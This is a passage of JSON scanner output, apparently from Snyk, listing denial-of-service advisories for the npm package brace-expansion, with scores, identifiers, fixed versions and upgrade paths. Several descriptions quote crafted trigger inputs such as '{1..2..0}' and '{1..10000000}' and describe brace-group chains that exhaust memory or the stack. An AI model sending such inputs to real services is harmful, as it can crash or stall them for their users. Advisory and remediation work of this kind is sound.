"2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", 